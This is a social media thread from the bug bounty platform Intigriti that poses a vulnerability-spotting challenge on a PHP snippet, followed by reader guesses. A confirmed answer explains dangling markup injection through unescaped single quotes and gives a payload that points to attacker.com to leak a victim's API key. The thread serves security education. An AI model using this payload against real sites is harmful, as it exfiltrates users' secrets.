Intigriti 
Can you spot the vulnerability? 🔎
Show us how you'd steal your victim's API key in the comments 👇
The best explanation gets a 25€ SWAG voucher!🎫
📜 Want to play around with the snippet?
Here's the code 👇
https://gist.github.com/PinkDraconian/7060e82ae97ffd1aca30337416e7b0af
Patrick $8 @Intigriti Phishing link with modified icon parameter. Inject additional attributes into the link element as space is probably not disallowed by htmlspecialcharacters. Without reading the docs I don’t know what else
@Intigriti onload or another JS code attribute with a Beef hook probably
@phurd We've tried for quite a while to get JS attributes to work on link tags in the latest Chrome versions, but failed. Any chance you could provide a PoC of one that works?
There's something else here 😉
There's something else here 😉
srj@Intigriti The ENT_COMPAT flag is used in the call to htmlspecialchars for $_GET['icon'], so single quotes are left unescaped (https://www.php.net/manual/en/function.htmlspecialchars.php). This means it's vulnerable to dangling markup injection (https://portswigger.net/web-security/cross-site-scripting/dangling-markup), and as there's no single quote in the HTML until after the insertion point of $api_key (assuming no single quote in key?), a query parameter of e.g. ?icon=%27//attacker.com? would send everything in the HTML up to next single quote to attacker, including the key?
@srj That's correct!